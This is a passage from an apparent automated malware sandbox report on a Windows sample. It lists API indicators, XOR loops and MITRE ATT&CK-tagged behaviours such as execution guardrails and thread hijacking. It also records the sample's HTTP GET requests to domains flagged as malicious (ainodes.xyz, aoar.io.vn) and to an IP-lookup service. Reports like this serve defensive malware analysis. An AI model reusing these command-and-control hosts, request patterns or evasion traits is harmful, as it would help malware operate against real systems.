00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "WinHttpAddRequestHeaders" (Indicator: "WinHttpAddRequestHeaders"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "WinHttpReceiveResponse" (Indicator: "WinHttpReceiveResponse"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp")43:T7c0,Found XOR loop in file "sample.bin" at offset 81520; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1026943; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1040383; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1210393; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1506877; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 278009; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 982229; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1047845; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1062792; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1159967; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1210427; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1642564; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1910726; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 163926; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 203367; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 311294; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 356280; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 382277; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 382973; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 383614; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 853296; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1431275; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1535724; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1536544; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1615960; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1705952; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1743292; code bytes = 803044:T44c,file/memory contains long string with (Indicator: "wsastartup"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") file/memory contains long string with (Indicator: "wsacleanup"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") file/memory contains long string with (Indicator: "gethostbyname"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") file/memory contains long string with (Indicator: " send "; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") file/memory contains long string with (Indicator: "wsastartup"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp") file/memory contains long string with (Indicator: "wsacleanup"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp") file/memory contains long string with (Indicator: "gethostbyname"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp") file/memory contains long string with (Indicator: " send "; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp")45:T73c,Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") file/memory contains long string with (Indicator: "WaitForSingleObject"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") file/memory contains long string with (Indicator: "GetSystemTimeAsFileTime"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") file/memory contains long string with (Indicator: "SetWaitableTimer"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") file/memory contains long string with (Indicator: "WaitForSingleObject"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp")46:T97b," tE!\"","id":"static-18","level":"informative","mitre_attack_id":"T1027.002","name":"Matched Compiler/Packer signature","origin":"Static Parser","relevance":10,"sources":[{"report_id":"69ba43b9b739c58b740c6085","report_type":"sandbox"}]},{"category":"General","description":"Found string \"GetCommandLineA\" (Source: \"00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp\")\n Found string \"GetCommandLineW\" (Source: \"00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp\")\n file/memory contains long string(Source: \"00000000-00002132.00000001.165043.0027D000.00000002.mdmp\")","id":"string-930","level":"informative","mitre_attack_id":"T1059.003","name":"Able to retrieve command line parameters of the running process","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69ba43b9b739c58b740c6085","report_type":"sandbox"}]},{"category":"General","description":"\"6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin\" has an executable section named \".text\"","id":"static-80","level":"informative","name":"PE file contains executable sections","origin":"Static Parser","relevance":1,"sources":[{"report_id":"69ba43b9b739c58b740c6085","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Reference to an external IP address lookup service identified\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Attempts to identify external IP address\n Matched sigs: The input sample contains the RDTSCP instruction","id":"summary-29","level":"informative","mitre_attack_id":"T1480","name":"Shows ability to use execution guardrails","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"69ba43b9b739c58b740c6085","report_type":"sandbox"}]},{"category":"Network Related","description":"GET /juB1yB-6W6SjLqKkpuqblBQVpWWej0JR7UPZ8tgo5qc HTTP/1.1\nConnection: Keep-Alive\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\nHost: ainodes.xyz\n\n GET /juB1yB-6W6SjLqKkpuqblBQVpWWej0JR7UPZ8tgo5qc? HTTP/1.1\nConnection: Keep-Alive\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\nHost: r3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vn\n\n GET / HTTP/1.1\nConnection: Keep-Alive\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\nHost: api.myip.com\n","id":"network-72","level":"informative","mitre_attack_id":"T1071.001","name":"GETs files from a web server (HTTPS)","origin":"Network Traffic","relevance":3,"sources":[{"report_id":"69ba43b9b739c58b740c6085","report_type":"sandbox"}]},{"category":"System Security","description":"file/memory contains long string with (Indicator: \"CreateProcessAsUser\"; File: \"6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin\")","id":"string-168","level":"informative","mitre_attack_id":"T1134.002","name":"Contains ability to create process with token (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69ba43b9b739c58b740c6085","report_type":"sandbox"}]},{"category":"External Systems","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_90% (D)","id":"avtest-8","level":"malicious","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","origin":"External System","relevance":10,"sources":[{"report_id":"69ba43b9b739c58b740c6085","report_type":"sandbox"}]},{"category":"General","description":"file/memory contains long string with (Indicator: \"RegCloseKey\"; File: \"6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin\")","id":"string-345","level":"informative","mitre_attack_id":"T1112","name":"Contains ability to disable/close registry key (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69ba43b9b739c58b740c6085","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin\")","id":"string-309","level":"informative","mitre_attack_id":"T1055.003","name":"Able to modify thread functionality – possible hijack (API string)","origin":"File/Memory","relevance":3,"sources":[{"report_id":"69ba43b9b739c58b740c6085","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetDateFormatEx\" (Indicator: \"GetDateFormat\"; Source: \"00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp\")\n Found reference to API \"GetTimeFormatEx\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp\")","id":"string-901","level":"informative","mitre_attack_id":"T1124","name":"Able to retrieve date formats supported by the local system (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69ba43b9b739c58b740c6085","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"WinHttpOpenRequest\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp\")","id":"string-537","level":"informative","mitre_attack_id":"T1071","name":"Contains ability to create a new HTTP request (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69ba43b9b739c58b740c6085","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"file/memory contains long string with (Indicator: \"RtlGetVersion\"; File: \"6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin\")\n Found reference to API \"runtime._RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00002132.00000000.163124.003CE000.00000002.mdmp\")\n file/memory contains long string with (Indicator: \"RtlGetVersion\"; Source: \"00000000-00002132.00000001.165043.0027D000.00000002.mdmp\")","id":"string-86","level":"informative","mitre_attack_id":"T1082","name":"Able to discover operating system information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69ba43b9b739c58b740c6085","report_type":"sandbox"}]},{"category":"Network Related","description":"Contacted Domain: \"aoar.io.vn\" has been identified as malicious","id":"network-88","level":"malicious","mitre_attack_id":"T1566","name":"Application communicates with a malicious domain","origin":"Network Traffic","relevance":10,"sources":[{"report_id":"69ba43b9b739c58b740c6085","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"